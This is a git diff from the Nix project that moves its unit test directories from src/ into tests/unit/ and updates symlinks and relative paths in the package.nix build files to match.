diff --git a/src/nix-fetchers-tests/build-utils-meson b/src/nix-fetchers-tests/build-utils-meson
deleted file mode 120000
index 5fff21bab55..00000000000
--- a/src/nix-fetchers-tests/build-utils-meson
+++ /dev/null
@@ -1 +0,0 @@
-../../build-utils-meson
\ No newline at end of file
diff --git a/src/nix-flake-tests b/src/nix-flake-tests
new file mode 120000
index 00000000000..bb2d49400f9
--- /dev/null
+++ b/src/nix-flake-tests
@@ -0,0 +1 @@
+../tests/unit/libflake
\ No newline at end of file
diff --git a/src/nix-flake-tests/.version b/src/nix-flake-tests/.version
deleted file mode 120000
index b7badcd0cc8..00000000000
--- a/src/nix-flake-tests/.version
+++ /dev/null
@@ -1 +0,0 @@
-../../.version
\ No newline at end of file
diff --git a/src/nix-flake-tests/build-utils-meson b/src/nix-flake-tests/build-utils-meson
deleted file mode 120000
index 5fff21bab55..00000000000
--- a/src/nix-flake-tests/build-utils-meson
+++ /dev/null
@@ -1 +0,0 @@
-../../build-utils-meson
\ No newline at end of file
diff --git a/src/nix-store-test-support b/src/nix-store-test-support
new file mode 120000
index 00000000000..af4befd90d8
--- /dev/null
+++ b/src/nix-store-test-support
@@ -0,0 +1 @@
+../tests/unit/libstore-support
\ No newline at end of file
diff --git a/src/nix-store-test-support/.version b/src/nix-store-test-support/.version
deleted file mode 120000
index b7badcd0cc8..00000000000
--- a/src/nix-store-test-support/.version
+++ /dev/null
@@ -1 +0,0 @@
-../../.version
\ No newline at end of file
diff --git a/src/nix-store-test-support/build-utils-meson b/src/nix-store-test-support/build-utils-meson
deleted file mode 120000
index 5fff21bab55..00000000000
--- a/src/nix-store-test-support/build-utils-meson
+++ /dev/null
@@ -1 +0,0 @@
-../../build-utils-meson
\ No newline at end of file
diff --git a/src/nix-store-tests b/src/nix-store-tests
new file mode 120000
index 00000000000..fc9b910afe3
--- /dev/null
+++ b/src/nix-store-tests
@@ -0,0 +1 @@
+../tests/unit/libstore
\ No newline at end of file
diff --git a/src/nix-store-tests/.version b/src/nix-store-tests/.version
deleted file mode 120000
index b7badcd0cc8..00000000000
--- a/src/nix-store-tests/.version
+++ /dev/null
@@ -1 +0,0 @@
-../../.version
\ No newline at end of file
diff --git a/src/nix-store-tests/build-utils-meson b/src/nix-store-tests/build-utils-meson
deleted file mode 120000
index 5fff21bab55..00000000000
--- a/src/nix-store-tests/build-utils-meson
+++ /dev/null
@@ -1 +0,0 @@
-../../build-utils-meson
\ No newline at end of file
diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv b/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv
deleted file mode 120000
index f8f30ac321c..00000000000
--- a/src/nix-store-tests/data/derivation/advanced-attributes-defaults.drv
+++ /dev/null
@@ -1 +0,0 @@
-../../../../tests/functional/derivation/advanced-attributes-defaults.drv
\ No newline at end of file
diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv
deleted file mode 120000
index 837e9a0e437..00000000000
--- a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.drv
+++ /dev/null
@@ -1 +0,0 @@
-../../../../tests/functional/derivation/advanced-attributes-structured-attrs-defaults.drv
\ No newline at end of file
diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv b/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv
deleted file mode 120000
index e08bb573791..00000000000
--- a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.drv
+++ /dev/null
@@ -1 +0,0 @@
-../../../../tests/functional/derivation/advanced-attributes-structured-attrs.drv
\ No newline at end of file
diff --git a/src/nix-store-tests/data/derivation/advanced-attributes.drv b/src/nix-store-tests/data/derivation/advanced-attributes.drv
deleted file mode 120000
index 1dc394a0a4f..00000000000
--- a/src/nix-store-tests/data/derivation/advanced-attributes.drv
+++ /dev/null
@@ -1 +0,0 @@
-../../../../tests/functional/derivation/advanced-attributes.drv
\ No newline at end of file
diff --git a/src/nix-util-test-support b/src/nix-util-test-support
new file mode 120000
index 00000000000..4b25930eb70
--- /dev/null
+++ b/src/nix-util-test-support
@@ -0,0 +1 @@
+../tests/unit/libutil-support
\ No newline at end of file
diff --git a/src/nix-util-test-support/.version b/src/nix-util-test-support/.version
deleted file mode 120000
index b7badcd0cc8..00000000000
--- a/src/nix-util-test-support/.version
+++ /dev/null
@@ -1 +0,0 @@
-../../.version
\ No newline at end of file
diff --git a/src/nix-util-test-support/build-utils-meson b/src/nix-util-test-support/build-utils-meson
deleted file mode 120000
index 5fff21bab55..00000000000
--- a/src/nix-util-test-support/build-utils-meson
+++ /dev/null
@@ -1 +0,0 @@
-../../build-utils-meson
\ No newline at end of file
diff --git a/src/nix-util-tests b/src/nix-util-tests
new file mode 120000
index 00000000000..e1138411a6e
--- /dev/null
+++ b/src/nix-util-tests
@@ -0,0 +1 @@
+../tests/unit/libutil
\ No newline at end of file
diff --git a/src/nix-util-tests/.version b/src/nix-util-tests/.version
deleted file mode 120000
index b7badcd0cc8..00000000000
--- a/src/nix-util-tests/.version
+++ /dev/null
@@ -1 +0,0 @@
-../../.version
\ No newline at end of file
diff --git a/src/nix-util-tests/build-utils-meson b/src/nix-util-tests/build-utils-meson
deleted file mode 120000
index 5fff21bab55..00000000000
--- a/src/nix-util-tests/build-utils-meson
+++ /dev/null
@@ -1 +0,0 @@
-../../build-utils-meson
\ No newline at end of file
diff --git a/tests/unit/libexpr-support/.version b/tests/unit/libexpr-support/.version
new file mode 120000
index 00000000000..0df9915bfaa
--- /dev/null
+++ b/tests/unit/libexpr-support/.version
@@ -0,0 +1 @@
+../../../.version
\ No newline at end of file
diff --git a/tests/unit/libexpr-support/build-utils-meson b/tests/unit/libexpr-support/build-utils-meson
new file mode 120000
index 00000000000..f2d8e8a5093
--- /dev/null
+++ b/tests/unit/libexpr-support/build-utils-meson
@@ -0,0 +1 @@
+../../../build-utils-meson/
\ No newline at end of file
diff --git a/src/nix-expr-test-support/meson.build b/tests/unit/libexpr-support/meson.build
similarity index 100%
rename from src/nix-expr-test-support/meson.build
rename to tests/unit/libexpr-support/meson.build
diff --git a/src/nix-expr-test-support/package.nix b/tests/unit/libexpr-support/package.nix
similarity index 93%
rename from src/nix-expr-test-support/package.nix
rename to tests/unit/libexpr-support/package.nix
index aec0e766363..f32cf26158d 100644
--- a/src/nix-expr-test-support/package.nix
+++ b/tests/unit/libexpr-support/package.nix
@@ -29,9 +29,9 @@ mkMesonDerivation (finalAttrs: {
 
   workDir = ./.;
   fileset = fileset.unions [
-    ../../build-utils-meson
+    ../../../build-utils-meson
     ./build-utils-meson
-    ../../.version
+    ../../../.version
     ./.version
     ./meson.build
     # ./meson.options
@@ -58,7 +58,7 @@ mkMesonDerivation (finalAttrs: {
     # Do the meson utils, without modification.
     ''
       chmod u+w ./.version
-      echo ${version} > ../../.version
+      echo ${version} > ../../../.version
     '';
 
   mesonFlags = [
diff --git a/src/nix-expr-test-support/tests/libexpr.hh b/tests/unit/libexpr-support/tests/libexpr.hh
similarity index 100%
rename from src/nix-expr-test-support/tests/libexpr.hh
rename to tests/unit/libexpr-support/tests/libexpr.hh
diff --git a/src/nix-expr-test-support/tests/nix_api_expr.hh b/tests/unit/libexpr-support/tests/nix_api_expr.hh
similarity index 100%
rename from src/nix-expr-test-support/tests/nix_api_expr.hh
rename to tests/unit/libexpr-support/tests/nix_api_expr.hh
diff --git a/src/nix-expr-test-support/tests/value/context.cc b/tests/unit/libexpr-support/tests/value/context.cc
similarity index 100%
rename from src/nix-expr-test-support/tests/value/context.cc
rename to tests/unit/libexpr-support/tests/value/context.cc
diff --git a/src/nix-expr-test-support/tests/value/context.hh b/tests/unit/libexpr-support/tests/value/context.hh
similarity index 100%
rename from src/nix-expr-test-support/tests/value/context.hh
rename to tests/unit/libexpr-support/tests/value/context.hh
diff --git a/tests/unit/libexpr/.version b/tests/unit/libexpr/.version
new file mode 120000
index 00000000000..0df9915bfaa
--- /dev/null
+++ b/tests/unit/libexpr/.version
@@ -0,0 +1 @@
+../../../.version
\ No newline at end of file
diff --git a/tests/unit/libexpr/build-utils-meson b/tests/unit/libexpr/build-utils-meson
new file mode 120000
index 00000000000..f2d8e8a5093
--- /dev/null
+++ b/tests/unit/libexpr/build-utils-meson
@@ -0,0 +1 @@
+../../../build-utils-meson/
\ No newline at end of file
diff --git a/src/nix-expr-tests/data/.gitkeep b/tests/unit/libexpr/data/.gitkeep
similarity index 100%
rename from src/nix-expr-tests/data/.gitkeep
rename to tests/unit/libexpr/data/.gitkeep
diff --git a/src/nix-expr-tests/derived-path.cc b/tests/unit/libexpr/derived-path.cc
similarity index 100%
rename from src/nix-expr-tests/derived-path.cc
rename to tests/unit/libexpr/derived-path.cc
diff --git a/src/nix-expr-tests/error_traces.cc b/tests/unit/libexpr/error_traces.cc
similarity index 100%
rename from src/nix-expr-tests/error_traces.cc
rename to tests/unit/libexpr/error_traces.cc
diff --git a/src/nix-expr-tests/eval.cc b/tests/unit/libexpr/eval.cc
similarity index 100%
rename from src/nix-expr-tests/eval.cc
rename to tests/unit/libexpr/eval.cc
diff --git a/src/nix-expr-tests/json.cc b/tests/unit/libexpr/json.cc
similarity index 100%
rename from src/nix-expr-tests/json.cc
rename to tests/unit/libexpr/json.cc
diff --git a/src/nix-expr-tests/main.cc b/tests/unit/libexpr/main.cc
similarity index 100%
rename from src/nix-expr-tests/main.cc
rename to tests/unit/libexpr/main.cc
diff --git a/src/nix-expr-tests/meson.build b/tests/unit/libexpr/meson.build
similarity index 100%
rename from src/nix-expr-tests/meson.build
rename to tests/unit/libexpr/meson.build
diff --git a/src/nix-expr-tests/nix_api_expr.cc b/tests/unit/libexpr/nix_api_expr.cc
similarity index 100%
rename from src/nix-expr-tests/nix_api_expr.cc
rename to tests/unit/libexpr/nix_api_expr.cc
diff --git a/src/nix-expr-tests/nix_api_external.cc b/tests/unit/libexpr/nix_api_external.cc
similarity index 100%
rename from src/nix-expr-tests/nix_api_external.cc
rename to tests/unit/libexpr/nix_api_external.cc
diff --git a/src/nix-expr-tests/nix_api_value.cc b/tests/unit/libexpr/nix_api_value.cc
similarity index 100%
rename from src/nix-expr-tests/nix_api_value.cc
rename to tests/unit/libexpr/nix_api_value.cc
diff --git a/src/nix-expr-tests/package.nix b/tests/unit/libexpr/package.nix
similarity index 94%
rename from src/nix-expr-tests/package.nix
rename to tests/unit/libexpr/package.nix
index ddd79fd559f..1667dc77ee6 100644
--- a/src/nix-expr-tests/package.nix
+++ b/tests/unit/libexpr/package.nix
@@ -32,9 +32,9 @@ mkMesonDerivation (finalAttrs: {
 
   workDir = ./.;
   fileset = fileset.unions [
-    ../../build-utils-meson
+    ../../../build-utils-meson
     ./build-utils-meson
-    ../../.version
+    ../../../.version
     ./.version
     ./meson.build
     # ./meson.options
@@ -63,7 +63,7 @@ mkMesonDerivation (finalAttrs: {
     # Do the meson utils, without modification.
     ''
       chmod u+w ./.version
-      echo ${version} > ../../.version
+      echo ${version} > ../../../.version
     '';
 
   mesonFlags = [
diff --git a/src/nix-expr-tests/primops.cc b/tests/unit/libexpr/primops.cc
similarity index 100%
rename from src/nix-expr-tests/primops.cc
rename to tests/unit/libexpr/primops.cc
diff --git a/src/nix-expr-tests/search-path.cc b/tests/unit/libexpr/search-path.cc
similarity index 100%
rename from src/nix-expr-tests/search-path.cc
rename to tests/unit/libexpr/search-path.cc
diff --git a/src/nix-expr-tests/trivial.cc b/tests/unit/libexpr/trivial.cc
similarity index 100%
rename from src/nix-expr-tests/trivial.cc
rename to tests/unit/libexpr/trivial.cc
diff --git a/src/nix-expr-tests/value/context.cc b/tests/unit/libexpr/value/context.cc
similarity index 100%
rename from src/nix-expr-tests/value/context.cc
rename to tests/unit/libexpr/value/context.cc
diff --git a/src/nix-expr-tests/value/print.cc b/tests/unit/libexpr/value/print.cc
similarity index 100%
rename from src/nix-expr-tests/value/print.cc
rename to tests/unit/libexpr/value/print.cc
diff --git a/src/nix-expr-tests/value/value.cc b/tests/unit/libexpr/value/value.cc
similarity index 100%
rename from src/nix-expr-tests/value/value.cc
rename to tests/unit/libexpr/value/value.cc
diff --git a/tests/unit/libfetchers/.version b/tests/unit/libfetchers/.version
new file mode 120000
index 00000000000..0df9915bfaa
--- /dev/null
+++ b/tests/unit/libfetchers/.version
@@ -0,0 +1 @@
+../../../.version
\ No newline at end of file
diff --git a/tests/unit/libfetchers/build-utils-meson b/tests/unit/libfetchers/build-utils-meson
new file mode 120000
index 00000000000..f2d8e8a5093
--- /dev/null
+++ b/tests/unit/libfetchers/build-utils-meson
@@ -0,0 +1 @@
+../../../build-utils-meson/
\ No newline at end of file
diff --git a/src/nix-fetchers-tests/data/public-key/defaultType.json b/tests/unit/libfetchers/data/public-key/defaultType.json
similarity index 100%
rename from src/nix-fetchers-tests/data/public-key/defaultType.json
rename to tests/unit/libfetchers/data/public-key/defaultType.json
diff --git a/src/nix-fetchers-tests/data/public-key/noRoundTrip.json b/tests/unit/libfetchers/data/public-key/noRoundTrip.json
similarity index 100%
rename from src/nix-fetchers-tests/data/public-key/noRoundTrip.json
rename to tests/unit/libfetchers/data/public-key/noRoundTrip.json
diff --git a/src/nix-fetchers-tests/data/public-key/simple.json b/tests/unit/libfetchers/data/public-key/simple.json
similarity index 100%
rename from src/nix-fetchers-tests/data/public-key/simple.json
rename to tests/unit/libfetchers/data/public-key/simple.json
diff --git a/src/nix-fetchers-tests/meson.build b/tests/unit/libfetchers/meson.build
similarity index 100%
rename from src/nix-fetchers-tests/meson.build
rename to tests/unit/libfetchers/meson.build
diff --git a/src/nix-fetchers-tests/package.nix b/tests/unit/libfetchers/package.nix
similarity index 94%
rename from src/nix-fetchers-tests/package.nix
rename to tests/unit/libfetchers/package.nix
index 759743a8b92..e9daacaeb53 100644
--- a/src/nix-fetchers-tests/package.nix
+++ b/tests/unit/libfetchers/package.nix
@@ -31,9 +31,9 @@ mkMesonDerivation (finalAttrs: {
 
   workDir = ./.;
   fileset = fileset.unions [
-    ../../build-utils-meson
+    ../../../build-utils-meson
     ./build-utils-meson
-    ../../.version
+    ../../../.version
     ./.version
     ./meson.build
     # ./meson.options
@@ -61,7 +61,7 @@ mkMesonDerivation (finalAttrs: {
     # Do the meson utils, without modification.
     ''
       chmod u+w ./.version
-      echo ${version} > ../../.version
+      echo ${version} > ../../../.version
     '';
 
   mesonFlags = [
diff --git a/src/nix-fetchers-tests/public-key.cc b/tests/unit/libfetchers/public-key.cc
similarity index 100%
rename from src/nix-fetchers-tests/public-key.cc
rename to tests/unit/libfetchers/public-key.cc
diff --git a/tests/unit/libflake/.version b/tests/unit/libflake/.version
new file mode 120000
index 00000000000..0df9915bfaa
--- /dev/null
+++ b/tests/unit/libflake/.version
@@ -0,0 +1 @@
+../../../.version
\ No newline at end of file
diff --git a/tests/unit/libflake/build-utils-meson b/tests/unit/libflake/build-utils-meson
new file mode 120000
index 00000000000..f2d8e8a5093
--- /dev/null
+++ b/tests/unit/libflake/build-utils-meson
@@ -0,0 +1 @@
+../../../build-utils-meson/
\ No newline at end of file
diff --git a/src/nix-flake-tests/data/.gitkeep b/tests/unit/libflake/data/.gitkeep
similarity index 100%
rename from src/nix-flake-tests/data/.gitkeep
rename to tests/unit/libflake/data/.gitkeep
diff --git a/src/nix-flake-tests/flakeref.cc b/tests/unit/libflake/flakeref.cc
similarity index 100%
rename from src/nix-flake-tests/flakeref.cc
rename to tests/unit/libflake/flakeref.cc
diff --git a/src/nix-flake-tests/meson.build b/tests/unit/libflake/meson.build
similarity index 100%
rename from src/nix-flake-tests/meson.build
rename to tests/unit/libflake/meson.build
diff --git a/src/nix-flake-tests/package.nix b/tests/unit/libflake/package.nix
similarity index 94%
rename from src/nix-flake-tests/package.nix
rename to tests/unit/libflake/package.nix
index a7783593aa5..c2bcc8eb85f 100644
--- a/src/nix-flake-tests/package.nix
+++ b/tests/unit/libflake/package.nix
@@ -31,9 +31,9 @@ mkMesonDerivation (finalAttrs: {
 
   workDir = ./.;
   fileset = fileset.unions [
-    ../../build-utils-meson
+    ../../../build-utils-meson
     ./build-utils-meson
-    ../../.version
+    ../../../.version
     ./.version
     ./meson.build
     # ./meson.options
@@ -61,7 +61,7 @@ mkMesonDerivation (finalAttrs: {
     # Do the meson utils, without modification.
     ''
       chmod u+w ./.version
-      echo ${version} > ../../.version
+      echo ${version} > ../../../.version
     '';
 
   mesonFlags = [
diff --git a/src/nix-flake-tests/url-name.cc b/tests/unit/libflake/url-name.cc
similarity index 100%
rename from src/nix-flake-tests/url-name.cc
rename to tests/unit/libflake/url-name.cc
diff --git a/tests/unit/libstore-support/.version b/tests/unit/libstore-support/.version
new file mode 120000
index 00000000000..0df9915bfaa
--- /dev/null
+++ b/tests/unit/libstore-support/.version
@@ -0,0 +1 @@
+../../../.version
\ No newline at end of file
diff --git a/tests/unit/libstore-support/build-utils-meson b/tests/unit/libstore-support/build-utils-meson
new file mode 120000
index 00000000000..f2d8e8a5093
--- /dev/null
+++ b/tests/unit/libstore-support/build-utils-meson
@@ -0,0 +1 @@
+../../../build-utils-meson/
\ No newline at end of file
diff --git a/src/nix-store-test-support/meson.build b/tests/unit/libstore-support/meson.build
similarity index 100%
rename from src/nix-store-test-support/meson.build
rename to tests/unit/libstore-support/meson.build
diff --git a/src/nix-store-test-support/package.nix b/tests/unit/libstore-support/package.nix
similarity index 93%
rename from src/nix-store-test-support/package.nix
rename to tests/unit/libstore-support/package.nix
index 250f29b8641..f3a5bfc82e2 100644
--- a/src/nix-store-test-support/package.nix
+++ b/tests/unit/libstore-support/package.nix
@@ -29,9 +29,9 @@ mkMesonDerivation (finalAttrs: {
 
   workDir = ./.;
   fileset = fileset.unions [
-    ../../build-utils-meson
+    ../../../build-utils-meson
     ./build-utils-meson
-    ../../.version
+    ../../../.version
     ./.version
     ./meson.build
     # ./meson.options
@@ -58,7 +58,7 @@ mkMesonDerivation (finalAttrs: {
     # Do the meson utils, without modification.
     ''
       chmod u+w ./.version
-      echo ${version} > ../../.version
+      echo ${version} > ../../../.version
     '';
 
   mesonFlags = [
diff --git a/src/nix-store-test-support/tests/derived-path.cc b/tests/unit/libstore-support/tests/derived-path.cc
similarity index 100%
rename from src/nix-store-test-support/tests/derived-path.cc
rename to tests/unit/libstore-support/tests/derived-path.cc
diff --git a/src/nix-store-test-support/tests/derived-path.hh b/tests/unit/libstore-support/tests/derived-path.hh
similarity index 100%
rename from src/nix-store-test-support/tests/derived-path.hh
rename to tests/unit/libstore-support/tests/derived-path.hh
diff --git a/src/nix-store-test-support/tests/libstore.hh b/tests/unit/libstore-support/tests/libstore.hh
similarity index 100%
rename from src/nix-store-test-support/tests/libstore.hh
rename to tests/unit/libstore-support/tests/libstore.hh
diff --git a/src/nix-store-test-support/tests/nix_api_store.hh b/tests/unit/libstore-support/tests/nix_api_store.hh
similarity index 100%
rename from src/nix-store-test-support/tests/nix_api_store.hh
rename to tests/unit/libstore-support/tests/nix_api_store.hh
diff --git a/src/nix-store-test-support/tests/outputs-spec.cc b/tests/unit/libstore-support/tests/outputs-spec.cc
similarity index 100%
rename from src/nix-store-test-support/tests/outputs-spec.cc
rename to tests/unit/libstore-support/tests/outputs-spec.cc
diff --git a/src/nix-store-test-support/tests/outputs-spec.hh b/tests/unit/libstore-support/tests/outputs-spec.hh
similarity index 100%
rename from src/nix-store-test-support/tests/outputs-spec.hh
rename to tests/unit/libstore-support/tests/outputs-spec.hh
diff --git a/src/nix-store-test-support/tests/path.cc b/tests/unit/libstore-support/tests/path.cc
similarity index 100%
rename from src/nix-store-test-support/tests/path.cc
rename to tests/unit/libstore-support/tests/path.cc
diff --git a/src/nix-store-test-support/tests/path.hh b/tests/unit/libstore-support/tests/path.hh
similarity index 100%
rename from src/nix-store-test-support/tests/path.hh
rename to tests/unit/libstore-support/tests/path.hh
diff --git a/src/nix-store-test-support/tests/protocol.hh b/tests/unit/libstore-support/tests/protocol.hh
similarity index 100%
rename from src/nix-store-test-support/tests/protocol.hh
rename to tests/unit/libstore-support/tests/protocol.hh
diff --git a/tests/unit/libstore/.version b/tests/unit/libstore/.version
new file mode 120000
index 00000000000..0df9915bfaa
--- /dev/null
+++ b/tests/unit/libstore/.version
@@ -0,0 +1 @@
+../../../.version
\ No newline at end of file
diff --git a/tests/unit/libstore/build-utils-meson b/tests/unit/libstore/build-utils-meson
new file mode 120000
index 00000000000..f2d8e8a5093
--- /dev/null
+++ b/tests/unit/libstore/build-utils-meson
@@ -0,0 +1 @@
+../../../build-utils-meson/
\ No newline at end of file
diff --git a/src/nix-store-tests/common-protocol.cc b/tests/unit/libstore/common-protocol.cc
similarity index 100%
rename from src/nix-store-tests/common-protocol.cc
rename to tests/unit/libstore/common-protocol.cc
diff --git a/src/nix-store-tests/content-address.cc b/tests/unit/libstore/content-address.cc
similarity index 100%
rename from src/nix-store-tests/content-address.cc
rename to tests/unit/libstore/content-address.cc
diff --git a/src/nix-store-tests/data/common-protocol/content-address.bin b/tests/unit/libstore/data/common-protocol/content-address.bin
similarity index 100%
rename from src/nix-store-tests/data/common-protocol/content-address.bin
rename to tests/unit/libstore/data/common-protocol/content-address.bin
diff --git a/src/nix-store-tests/data/common-protocol/drv-output.bin b/tests/unit/libstore/data/common-protocol/drv-output.bin
similarity index 100%
rename from src/nix-store-tests/data/common-protocol/drv-output.bin
rename to tests/unit/libstore/data/common-protocol/drv-output.bin
diff --git a/src/nix-store-tests/data/common-protocol/optional-content-address.bin b/tests/unit/libstore/data/common-protocol/optional-content-address.bin
similarity index 100%
rename from src/nix-store-tests/data/common-protocol/optional-content-address.bin
rename to tests/unit/libstore/data/common-protocol/optional-content-address.bin
diff --git a/src/nix-store-tests/data/common-protocol/optional-store-path.bin b/tests/unit/libstore/data/common-protocol/optional-store-path.bin
similarity index 100%
rename from src/nix-store-tests/data/common-protocol/optional-store-path.bin
rename to tests/unit/libstore/data/common-protocol/optional-store-path.bin
diff --git a/src/nix-store-tests/data/common-protocol/realisation.bin b/tests/unit/libstore/data/common-protocol/realisation.bin
similarity index 100%
rename from src/nix-store-tests/data/common-protocol/realisation.bin
rename to tests/unit/libstore/data/common-protocol/realisation.bin
diff --git a/src/nix-store-tests/data/common-protocol/set.bin b/tests/unit/libstore/data/common-protocol/set.bin
similarity index 100%
rename from src/nix-store-tests/data/common-protocol/set.bin
rename to tests/unit/libstore/data/common-protocol/set.bin
diff --git a/src/nix-store-tests/data/common-protocol/store-path.bin b/tests/unit/libstore/data/common-protocol/store-path.bin
similarity index 100%
rename from src/nix-store-tests/data/common-protocol/store-path.bin
rename to tests/unit/libstore/data/common-protocol/store-path.bin
diff --git a/src/nix-store-tests/data/common-protocol/string.bin b/tests/unit/libstore/data/common-protocol/string.bin
similarity index 100%
rename from src/nix-store-tests/data/common-protocol/string.bin
rename to tests/unit/libstore/data/common-protocol/string.bin
diff --git a/src/nix-store-tests/data/common-protocol/vector.bin b/tests/unit/libstore/data/common-protocol/vector.bin
similarity index 100%
rename from src/nix-store-tests/data/common-protocol/vector.bin
rename to tests/unit/libstore/data/common-protocol/vector.bin
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv
new file mode 120000
index 00000000000..353090ad84b
--- /dev/null
+++ b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.drv
@@ -0,0 +1 @@
+../../../../functional/derivation/advanced-attributes-defaults.drv
\ No newline at end of file
diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-defaults.json b/tests/unit/libstore/data/derivation/advanced-attributes-defaults.json
similarity index 100%
rename from src/nix-store-tests/data/derivation/advanced-attributes-defaults.json
rename to tests/unit/libstore/data/derivation/advanced-attributes-defaults.json
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv
new file mode 120000
index 00000000000..11713da12e3
--- /dev/null
+++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.drv
@@ -0,0 +1 @@
+../../../../functional/derivation/advanced-attributes-structured-attrs-defaults.drv
\ No newline at end of file
diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.json b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json
similarity index 100%
rename from src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs-defaults.json
rename to tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs-defaults.json
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv
new file mode 120000
index 00000000000..962f8ea3fe1
--- /dev/null
+++ b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.drv
@@ -0,0 +1 @@
+../../../../functional/derivation/advanced-attributes-structured-attrs.drv
\ No newline at end of file
diff --git a/src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.json b/tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json
similarity index 100%
rename from src/nix-store-tests/data/derivation/advanced-attributes-structured-attrs.json
rename to tests/unit/libstore/data/derivation/advanced-attributes-structured-attrs.json
diff --git a/tests/unit/libstore/data/derivation/advanced-attributes.drv b/tests/unit/libstore/data/derivation/advanced-attributes.drv
new file mode 120000
index 00000000000..2a53a05caee
--- /dev/null
+++ b/tests/unit/libstore/data/derivation/advanced-attributes.drv
@@ -0,0 +1 @@
+../../../../functional/derivation/advanced-attributes.drv
\ No newline at end of file
diff --git a/src/nix-store-tests/data/derivation/bad-old-version-dyn-deps.drv b/tests/unit/libstore/data/derivation/bad-old-version-dyn-deps.drv
similarity index 100%
rename from src/nix-store-tests/data/derivation/bad-old-version-dyn-deps.drv
rename to tests/unit/libstore/data/derivation/bad-old-version-dyn-deps.drv
diff --git a/src/nix-store-tests/data/derivation/bad-version.drv b/tests/unit/libstore/data/derivation/bad-version.drv
similarity index 100%
rename from src/nix-store-tests/data/derivation/bad-version.drv
rename to tests/unit/libstore/data/derivation/bad-version.drv
diff --git a/src/nix-store-tests/data/derivation/dynDerivationDeps.drv b/tests/unit/libstore/data/derivation/dynDerivationDeps.drv
similarity index 100%
rename from src/nix-store-tests/data/derivation/dynDerivationDeps.drv
rename to tests/unit/libstore/data/derivation/dynDerivationDeps.drv
diff --git a/src/nix-store-tests/data/derivation/dynDerivationDeps.json b/tests/unit/libstore/data/derivation/dynDerivationDeps.json
similarity index 100%
rename from src/nix-store-tests/data/derivation/dynDerivationDeps.json
rename to tests/unit/libstore/data/derivation/dynDerivationDeps.json
diff --git a/src/nix-store-tests/data/derivation/output-caFixedFlat.json b/tests/unit/libstore/data/derivation/output-caFixedFlat.json
similarity index 100%
rename from src/nix-store-tests/data/derivation/output-caFixedFlat.json
rename to tests/unit/libstore/data/derivation/output-caFixedFlat.json
diff --git a/src/nix-store-tests/data/derivation/output-caFixedNAR.json b/tests/unit/libstore/data/derivation/output-caFixedNAR.json
similarity index 100%
rename from src/nix-store-tests/data/derivation/output-caFixedNAR.json
rename to tests/unit/libstore/data/derivation/output-caFixedNAR.json
diff --git a/src/nix-store-tests/data/derivation/output-caFixedText.json b/tests/unit/libstore/data/derivation/output-caFixedText.json
similarity index 100%
rename from src/nix-store-tests/data/derivation/output-caFixedText.json
rename to tests/unit/libstore/data/derivation/output-caFixedText.json
diff --git a/src/nix-store-tests/data/derivation/output-caFloating.json b/tests/unit/libstore/data/derivation/output-caFloating.json
similarity index 100%
rename from src/nix-store-tests/data/derivation/output-caFloating.json
rename to tests/unit/libstore/data/derivation/output-caFloating.json
diff --git a/src/nix-store-tests/data/derivation/output-deferred.json b/tests/unit/libstore/data/derivation/output-deferred.json
similarity index 100%
rename from src/nix-store-tests/data/derivation/output-deferred.json
rename to tests/unit/libstore/data/derivation/output-deferred.json
diff --git a/src/nix-store-tests/data/derivation/output-impure.json b/tests/unit/libstore/data/derivation/output-impure.json
similarity index 100%
rename from src/nix-store-tests/data/derivation/output-impure.json
rename to tests/unit/libstore/data/derivation/output-impure.json
diff --git a/src/nix-store-tests/data/derivation/output-inputAddressed.json b/tests/unit/libstore/data/derivation/output-inputAddressed.json
similarity index 100%
rename from src/nix-store-tests/data/derivation/output-inputAddressed.json
rename to tests/unit/libstore/data/derivation/output-inputAddressed.json
diff --git a/src/nix-store-tests/data/derivation/simple.drv b/tests/unit/libstore/data/derivation/simple.drv
similarity index 100%
rename from src/nix-store-tests/data/derivation/simple.drv
rename to tests/unit/libstore/data/derivation/simple.drv
diff --git a/src/nix-store-tests/data/derivation/simple.json b/tests/unit/libstore/data/derivation/simple.json
similarity index 100%
rename from src/nix-store-tests/data/derivation/simple.json
rename to tests/unit/libstore/data/derivation/simple.json
diff --git a/src/nix-store-tests/data/machines/bad_format b/tests/unit/libstore/data/machines/bad_format
similarity index 100%
rename from src/nix-store-tests/data/machines/bad_format
rename to tests/unit/libstore/data/machines/bad_format
diff --git a/src/nix-store-tests/data/machines/valid b/tests/unit/libstore/data/machines/valid
similarity index 100%
rename from src/nix-store-tests/data/machines/valid
rename to tests/unit/libstore/data/machines/valid
diff --git a/src/nix-store-tests/data/nar-info/impure.json b/tests/unit/libstore/data/nar-info/impure.json
similarity index 100%
rename from src/nix-store-tests/data/nar-info/impure.json
rename to tests/unit/libstore/data/nar-info/impure.json
diff --git a/src/nix-store-tests/data/nar-info/pure.json b/tests/unit/libstore/data/nar-info/pure.json
similarity index 100%
rename from src/nix-store-tests/data/nar-info/pure.json
rename to tests/unit/libstore/data/nar-info/pure.json
